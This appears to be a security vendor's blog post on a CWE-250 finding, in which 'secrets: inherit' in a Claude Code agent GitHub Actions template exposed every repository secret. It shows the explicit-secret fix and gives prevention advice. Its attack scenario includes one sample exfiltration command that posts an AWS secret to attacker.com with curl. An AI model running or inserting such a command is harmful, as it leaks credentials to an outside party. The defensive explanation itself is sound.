Back to Blog
high SEVERITY5 min read

How secrets: inherit over-privilege happens in GitHub Actions reusable workflows and how to fix it

A high-severity security finding was identified in `templates/claude-workflow/workflows/claude.yml` where `secrets: inherit` passed every repository secret to a reusable workflow, violating the principle of least privilege. The fix explicitly passes only `CLAUDE_CODE_OAUTH_TOKEN`—the single secret the called workflow actually needs—drastically reducing the blast radius if the reusable workflow is ever compromised.

O
By Orbis AppSec
Published July 25, 2026Reviewed July 25, 2026

Answer Summary

The `secrets: inherit` directive in GitHub Actions reusable workflow calls (CWE-250) passes all repository secrets to the called workflow, violating least privilege. In this case, `claude.yml` called `claude-run.yml` with full secret access when only `CLAUDE_CODE_OAUTH_TOKEN` was needed. The fix replaces `secrets: inherit` with an explicit `secrets:` map that passes only the required token, limiting exposure if the reusable workflow is compromised.

Vulnerability at a Glance

cweCWE-250 (Execution with Unnecessary Privileges)
fixReplace `secrets: inherit` with `secrets: { CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} }`
riskAll repository secrets exposed to reusable workflow — full credential theft if workflow is compromised
languageYAML (GitHub Actions)
root causeUsing `secrets: inherit` instead of explicitly passing only required secrets
vulnerabilityExcessive privilege via secrets: inherit in GitHub Actions

Introduction

In the richkuo/rk-skills repository, a high-severity security finding was discovered at line 300 of templates/claude-workflow/workflows/claude.yml. The workflow orchestrates an AI-powered Claude Code agent by calling a reusable workflow (claude-run.yml) twice—once for a "review" job and once for an "implementation" job. Both calls used secrets: inherit, handing the called workflow access to every secret in the repository, when it only ever reads CLAUDE_CODE_OAUTH_TOKEN.

This matters because claude-run.yml is designed to be consumed by downstream repositories via:

uses: richkuo/rk-skills/.github/workflows/claude-run.yml@main

Any consumer following the template's example would inadvertently expose all of their secrets to this centrally-maintained workflow. If the reusable workflow were compromised—through a malicious commit, a supply-chain attack, or even a misconfigured step—an attacker would gain access to every secret the calling repository holds: deployment keys, API tokens, cloud credentials, and more.

The Vulnerability Explained

What the code looked like

In .github/workflows/claude.yml, two jobs called the reusable workflow like this:

# Line ~296 — review job
jobs:
  review:
    uses: ./.github/workflows/claude-run.yml
    with:
      flow: ''
      model_id: ${{ needs.classify.outputs.model_id }}
      effort: ${{ needs.classify.outputs.effort }}
    secrets: inherit   # ← ALL secrets passed

  # Line ~316 — implementation job
  implement:
    uses: ./.github/workflows/claude-run.yml
    with:
      flow: ${{ needs.classify.outputs.flow }}
      model_id: ${{ needs.classify.outputs.model_id }}
      effort: ${{ needs.classify.outputs.effort }}
    secrets: inherit   # ← ALL secrets passed

Why this is dangerous

The secrets: inherit keyword is a convenience mechanism—it blindly forwards the entire secrets context. The called workflow, claude-run.yml, only uses CLAUDE_CODE_OAUTH_TOKEN for agent authentication. Yet with inherit, it also receives:

  • GITHUB_TOKEN (if stored as a repo secret)
  • Any deployment credentials (AWS keys, Docker Hub tokens, etc.)
  • Signing keys, NPM tokens, or other publishing secrets
  • Any third-party API keys stored in the repository

Attack scenario

  1. Compromised dependency: A malicious actor contributes a seemingly benign PR to rk-skills that modifies claude-run.yml to exfiltrate secrets.* values (e.g., curl -X POST https://attacker.com/collect -d "${{ secrets.AWS_SECRET_KEY }}").
  2. Consumer repo triggers the workflow: Any downstream repository that calls this reusable workflow with secrets: inherit now leaks all its secrets to the attacker.
  3. Lateral movement: With cloud credentials or deployment keys, the attacker pivots to production infrastructure.

Because this is a template repository (a Node.js library whose templates are consumed by other repos), the blast radius multiplies across every consumer.

The Fix

The fix spans three files, each serving a specific purpose:

1. claude-run.yml — Declare required secrets explicitly

The reusable workflow now formally declares which secrets it expects:

# .github/workflows/claude-run.yml
on:
  workflow_call:
    inputs:
      # ... existing inputs ...
    secrets:
      CLAUDE_CODE_OAUTH_TOKEN:
        description: 'Claude Code OAuth token for agent authentication'
        required: true

This makes the contract explicit: callers must pass CLAUDE_CODE_OAUTH_TOKEN and nothing else is expected.

2. claude.yml — Pass only the needed secret

Before:

    secrets: inherit

After:

    secrets:
      CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}

This change appears in both the review job (line ~299) and the implement job (line ~319). The workflow now passes exactly one secret—the OAuth token the agent needs to authenticate.

3. Documentation update in claude-run.yml header

The file's header comment was updated to guide consumers:

# passing CLAUDE_CODE_OAUTH_TOKEN explicitly under secrets: — the only secret
# this workflow consumes, so callers need not (and should not) use
# secrets: inherit.

This ensures future maintainers and consumers understand the design intent without needing to read the full workflow.

Why each change matters

File Purpose
claude-run.yml (secrets declaration) Enforces a typed contract — callers get a validation error if they forget the token
claude.yml (explicit secrets map) Reduces the secret surface from "all" to exactly one
claude-run.yml (comment) Documents the security rationale for future contributors

Prevention & Best Practices

1. Never use secrets: inherit with third-party or shared workflows

Even for internal workflows, treat secrets: inherit as a code smell. It makes the security posture invisible—you can't tell what secrets are actually used without reading the called workflow's source.

2. Declare secrets in reusable workflows

Always add a secrets: block to your workflow_call trigger:

on:
  workflow_call:
    secrets:
      DEPLOY_KEY:
        required: true
      NPM_TOKEN:
        required: false

This creates a self-documenting interface and enables GitHub to surface errors when secrets are missing.

3. Pin reusable workflows to SHAs

While not the focus of this fix, pinning to a commit SHA (uses: org/repo/.github/workflows/wf.yml@abc123) prevents supply-chain attacks from new commits:

uses: richkuo/rk-skills/.github/workflows/claude-run.yml@a1b2c3d

4. Use static analysis in CI

Add Semgrep or similar SAST tools to catch secrets: inherit patterns before they reach production:

- uses: returntocorp/semgrep-action@v1
  with:
    config: p/github-actions

5. Audit existing workflows

Search your organization for secrets: inherit:

grep -r "secrets: inherit" .github/workflows/

Replace every instance with explicit secret maps.

Key Takeaways

  • secrets: inherit at line 300 of claude.yml exposed every repository secret to claude-run.yml, which only needs CLAUDE_CODE_OAUTH_TOKEN.
  • Template repositories amplify risk: because rk-skills is consumed by downstream repos, the insecure pattern would propagate to every consumer.
  • Declaring secrets: in workflow_call creates a typed contract that prevents accidental over-sharing and documents the workflow's requirements.
  • The fix is backward-compatible: callers simply switch from secrets: inherit to an explicit map—no functional behavior changes.
  • Static analysis (Semgrep rule yaml.github-actions.security.secrets-inherit.secrets-inherit) caught this automatically, proving that CI-integrated SAST is effective for workflow security.

How Orbis AppSec Detected This

  • Source: Repository secrets context (secrets.*) containing all secrets configured for the repository.
  • Sink: secrets: inherit directive at line 300 of templates/claude-workflow/workflows/claude.yml, forwarding the full secrets context to the reusable workflow claude-run.yml.
  • Missing control: No explicit secret enumeration—the workflow lacked a secrets: map that would restrict which secrets flow to the called workflow.
  • CWE: CWE-250 (Execution with Unnecessary Privileges).
  • Fix: Replaced secrets: inherit with secrets: { CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} } and added a formal secrets: declaration to the reusable workflow.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The secrets: inherit shortcut is deceptively dangerous. In this case, a Claude Code agent workflow only needed a single OAuth token, yet every secret in the repository—and potentially in every downstream consumer—was being handed to the reusable workflow. The fix is simple: declare what you need, pass what you need, nothing more. For template repositories especially, this discipline is critical because insecure patterns propagate to every consumer. Adopt explicit secret passing, pin your workflow references, and let static analysis tools enforce these policies automatically.

References

Frequently Asked Questions

What is secrets: inherit in GitHub Actions?

`secrets: inherit` is a directive in GitHub Actions that automatically passes all secrets from the calling workflow's context to a reusable (called) workflow, without requiring explicit enumeration of each secret.

How do you prevent secrets over-privilege in GitHub Actions?

Use the explicit `secrets:` map to pass only the specific secrets the reusable workflow requires, e.g., `secrets: { MY_SECRET: ${{ secrets.MY_SECRET }} }`, rather than `secrets: inherit`.

What CWE is secrets: inherit over-privilege?

CWE-250: Execution with Unnecessary Privileges. The workflow executes with access to more secrets than it needs, expanding the attack surface unnecessarily.

Is pinning reusable workflows to a SHA enough to prevent secrets exposure?

SHA pinning reduces supply-chain risk from upstream changes but does not limit which secrets the called workflow can access. You still need explicit secret passing to enforce least privilege.

Can static analysis detect secrets: inherit misuse?

Yes. Tools like Semgrep have rules such as `yaml.github-actions.security.secrets-inherit.secrets-inherit` that flag this pattern automatically in CI/CD pipelines.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #75

Related Articles

high

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A high-severity vulnerability was discovered in the `.github/dependabot.yml` configuration file where no cooldown period was set for dependency updates. This exposed the Node.js library and its downstream consumers to potentially malicious or unstable packages immediately after publication. The fix adds a 7-day cooldown period to all package ecosystem entries, providing a critical safety buffer before accepting newly published package versions.

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration flaw was discovered in a Dependabot configuration file where no cooldown period was set for package updates. This meant newly published—and potentially malicious or unstable—package versions could be immediately proposed for updates, exposing the project to supply chain attacks. The fix adds a 7-day cooldown period to allow the community to identify compromised packages before they're adopted.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity configuration gap was discovered in a Node.js library's `.github/dependabot.yml` file where no cooldown period was set for dependency updates. Without a cooldown, Dependabot could propose updates to newly published (and potentially malicious or unstable) package versions immediately after release, exposing the project and all downstream consumers to supply chain attacks. The fix adds a `cooldown` block with `default-days: 7` to each package ecosystem entry.

high

How Missing Dependabot Cooldown Periods Happen in GitHub Dependency Management and How to Fix It

A high-severity security gap was discovered in a Dependabot configuration file that lacked a cooldown period for newly published package updates. Without this critical safeguard, the repository was vulnerable to supply chain attacks through malicious or unstable packages published to npm registries. Adding a 7-day cooldown period now provides essential protection against zero-day package compromises.

high

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in axios versions prior to 1.15.1 allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This meant HTTP requests intended to stay internal could be routed through an attacker-controlled proxy, potentially exposing sensitive data. The fix upgrades axios to version 1.15.1, which correctly validates URLs against NO_PROXY rules.